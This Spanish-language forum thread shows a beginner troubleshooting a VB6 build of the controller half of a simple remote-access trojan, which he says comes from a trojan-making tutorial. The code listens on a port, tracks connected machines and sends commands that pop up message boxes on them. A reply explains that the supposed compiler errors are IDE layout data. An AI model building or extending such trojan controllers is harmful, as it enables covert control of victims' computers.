Hola les comento no se mucho de Vb, casi nada pero intentanto compilar un codigo para ver como funciona me tira un error de compilacion: se esperaba: fin de instruccion
seguido de esto
CitarfrmPrincipal = 0, -2, 837, 755, , 22, 26, 544, 480, C
frmMensajes = -11, -5, 703, 662, C, 64, 107, 581, 561, C
Module1 = 184, 184, 820, 697, C
Alguna idea?
disculpen mi ignoracia.
Saludos
COPIA EL CODIGO DEL MODULE1, FRMPRINCIPAL Y FRMMENSAJES Y TE DIGO ;)
P.D: ESTOY HASTA DENTRO DE MEDIA HORA SINO ESPERA QUE SEGURO TE RESPONDEN.
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim vIndex As Variant
Public TotalIndex As Integer
Public IndexAbir As Integer
Private Sub Form_Load()
ws(0).LocalPort = 1234
ws(0).Listen 'Por ahora pondremos el 1234 luego ya veremos...
TotalIndex = 0
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If Cancel = 0 Then
Dim i As Long
For i = 1 To Lv.ListItems.Count
vIndex = Split(Lv.ListItems(i).Key, "|")
'Mandamos una cadena en blanco a todos los servers para q se desconecten
ws(vIndex(0)).SendData ""
Sleep 50
Next i
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim vIndex As Variant
Dim i As Long
For i = 1 To Lv.ListItems.Count
vIndex = Split(Lv.ListItems(i).Key, "|")
If ws(vIndex(0)).State <> 7 Then 'Si no estamos conectado
Lv.ListItems.Remove (i) 'Elimnaos la conexion
End If
Next i
End Sub
Private Sub Lv_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error Resume Next
If Lv.SelectedItem.Selected = False Then Exit Sub 'Si no hay nada selecionado salimos
If Button = 2 Then PopupMenu Menú ' Lanzamos el menú pop up
End Sub
Private Sub ws_ConnectionRequest(Index As Integer, ByVal requestID As Long)
On Error Resume Next
If Index = 0 Then
TotalIndex = 0 'Definimos la varible TotalIndex.
Else
TotalIndex = TotalIndex + 1 'Definimos la varible TotalIndex.
End If
ws(Index).Close
ws(Index).Accept requestID 'Y aceptamos la conexion
Load ws(Index + 1) 'Cargamos un nuevo index
ws(Index + 1).LocalPort = 1234 '
IndexAbir = Index + 1 'Definimos la varible IndexAbir.
ws(IndexAbir).Listen 'Escuhamos el puerto asignado.
End Sub
Private Sub ws_DataArrival(Index As Integer, ByVal bytesTotal As Long)
Dim Datos As String
Dim vDatos As Variant
ws(Index).GetData Datos
vDatos = Split(Datos, "|")
Select Case vDatos(0)
Case "hola" 'Nos saludan, luego lo añadiremos a la lista xDD
Lv.ListItems.Add(, Index & "|", "Nuevo").SubItems(1) = ws(Index).RemoteHostIP
End Select
End Sub
'-------------------------------- Menús ------------------------------
Private Sub Mensajes_Click()
frmMensajes.Show
End Sub
Es el codigo de EON, del tutorial de como crear un troyano, lo quiero probar haber como funciona. y ver como funciona la codificacion echa en Vb.
No entiendo como leer estos errores que me tira el compilador
Citar
frmPrincipal = 0, -2, 837, 755, , 22, 26, 544, 480, C
frmMensajes = -11, -5, 703, 662, C, 64, 107, 581, 561, C
Module1 = 184, 184, 820, 697, C
Como se supone que los leea? es la linea de codigo? me parece raro porq la linea 755 no hay :P
Saludos
Cita de: Sr.Blanco en 20 Agosto 2010, 19:24 PM
CitarfrmPrincipal = 0, -2, 837, 755, , 22, 26, 544, 480, C
frmMensajes = -11, -5, 703, 662, C, 64, 107, 581, 561, C
Module1 = 184, 184, 820, 697, C
ese codigo no es el codigo fuente del programa, es del archivo .vbw que guarda informacion sobre el las ventanas y demas en el IDE...no es el codigo fuente del programa.
acabo de pegar el codigo que pusiste y no me tira ningun error...me imagino que tenes un control winsock llamado
ws con el indice en 0, y un listview llamado
Lv en el formulario ?
saludos.
Gracias seba123neo por tu pronta respuesta, mira esto es lo que me falto de codigo que es el frmMensajes
Dim vIndex As Variant
'Enviamos el mensaje segun la opcion que se elija
'El prefijo para enviar un msj al servidor es "mensj"
'Y luego va el tipo de mensaje a enviar:
Private Sub Command1_Click()
If Option1.Value = True Then
frmPrincipal.ws(vIndex(0)).SendData "mensj" & "|" & "error" & "|" & txtTitulo.Text & "|" & txtMensaje.Text
End If
If Option2.Value = True Then
frmPrincipal.ws(vIndex(0)).SendData "mensj" & "|" & "info" & "|" & txtTitulo.Text & "|" & txtMensaje.Text
End If
If Option3.Value = True Then
frmPrincipal.ws(vIndex(0)).SendData "mensj" & "|" & "interrog" & "|" & txtTitulo.Text & "|" & txtMensaje.Text
End If
If Option4.Value = True Then
frmPrincipal.ws(vIndex(0)).SendData "mensj" & "|" & "adver" & "|" & txtTitulo.Text & "|" & txtMensaje.Text
End If
End Sub
Private Sub Form_Load()
On Error Resume Next
vIndex = Split(frmPrincipal.Lv.SelectedItem.Key, "|")
Option1.Value = True
End Sub
Este es el codigo del FrmMensajes lo tengo como .frm
El anterior era el codigo del FrmPrincipal este tambien .frm
Despues tengo un Modulo .vbw que cuando lo abro aparecen esos errores.
Citaracabo de pegar el codigo que pusiste y no me tira ningun error...me imagino que tenes un control winsock llamado ws con el indice en 0, y un listview llamado Lv en el formulario ?
Creo que si, y en componentes tengo activado el Microsoft Windows Common Controls 6.0 (SP4)
Y el Microsoft Winsock Controls 6.0
Otra cosa no se si sea de importancia, pero tengo el VB 6.0 portable, no creo q influya en nada, el SP4 no se si tengo que actualizarlo a SP6, bueno lo dejo como dato por las dudas.
Gracias nuevamente.
Saludos.
-----------------------------------------------------------------------------------------------
Edito: Ya lo solucione :P jaja, mejor no digo nada porq era una boludes :laugh: